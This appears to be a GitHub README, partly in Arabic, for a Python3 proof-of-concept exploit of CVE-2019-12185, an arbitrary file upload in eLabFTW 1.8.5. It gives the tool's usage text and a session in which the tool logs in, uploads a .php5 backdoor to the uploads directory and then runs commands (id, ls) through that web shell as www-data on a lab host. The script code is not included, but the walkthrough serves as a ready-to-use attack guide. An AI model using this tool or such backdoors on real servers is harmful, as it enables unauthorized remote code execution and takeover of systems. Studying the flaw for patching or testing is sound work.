drew-alleman/cve-2019-12185CVE-2019-12185 - eLabFTW 1.8.5 Python3 إكسبلويت POC
eLabFTW 1.8.5 عرضة لرفع ملفات عشوائية عبر مكوّن /app/controllers/EntityController.php. قد يؤدي ذلك إلى تنفيذ أوامر عن بُعد. يمكن للمهاجم استخدام حساب مستخدم للسيطرة الكاملة على النظام عبر طلب POST. سيسمح ذلك بكتابة ملفات PHP في جذر الويب، وتنفيذ الكود على الخادم البعيد. --> https://nvd.nist.gov/vuln/detail/CVE-2019-12185
$ python3 CVE-2019-12185.py --help
usage: CVE-2019-12185.py [-h] [--shell SHELL] [-e EMAIL] [-P PASSWORD] [-u URL] [--port PORT] [--no-verify] [--silence-warnings]
eLabFTW 1.8.5 arbitrary file upload / RCE (Python3). Either use --shell to start an non-interactive shell, or provide login args to upload a new one.
options:
-h, --help show this help message and exit
--shell SHELL Full URL to existing .php5 backdoor in /uploads (e.g., https://host/uploads/..../abc.php5)
-e, --email EMAIL Login email
-P, --password PASSWORD
Login password
-u, --url URL Base URL (e.g., https://192.168.1.10)
--port PORT Port override (defaults to 443 for https, 80 for http)
--no-verify Disable TLS certificate verification
--silence-warnings Silence urllib3 InsecureRequestWarning (effective only with --no-verify)
$ python3 CVE-2019-12185.py -e [email protected] -P password -u https://192.168.116.235 --no-verify --silence-warnings
[INFO] Disabled warnings about insecure https certifications.
[INFO] Loaded URL: 'https://192.168.116.235'
[INFO] Attempting to grab a form token from elabftw...
[INFO] Attempting to login with the provided credentials and form token...
[INFO] Succesfully sent payload to target!
[INFO] Check for a shell: https://192.168.116.235/uploads/
[INFO] Example RCE: https://192.168.116.235/uploads/82/82b757007585fa963c82b09.php5?e=whoami
يمكن العثور على الباب الخلفي في دليل uploads الخاص بـ elabftw.
$ python3 CVE-2019-12185.py --shell "https://192.168.116.235/uploads/4c/4cc58d211b453aa9b21b00b77284295de18300693f5755ea1f41b331a2d04384b9524bc87179601e55fdf5279dc945681ea1948ed6ac30c6ef4899db8c3a051a.php5" --no-verify --silence-warnings
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ls -las
total 12
4 drwxr-xr-x 2 www-data www-data 4096 Aug 16 23:14 .
4 drwxr-xr-x 4 www-data www-data 4096 Aug 16 23:14 ..
4 -rw------- 1 www-data www-data 45 Aug 16 23:14 4cc58d211b453aa9b21b00b77284295de18300693f5755ea1f41b331a2d04384b9524bc87179601e55fdf5279dc945681ea1948ed6ac30c6ef4899db8c3a051a.php5
$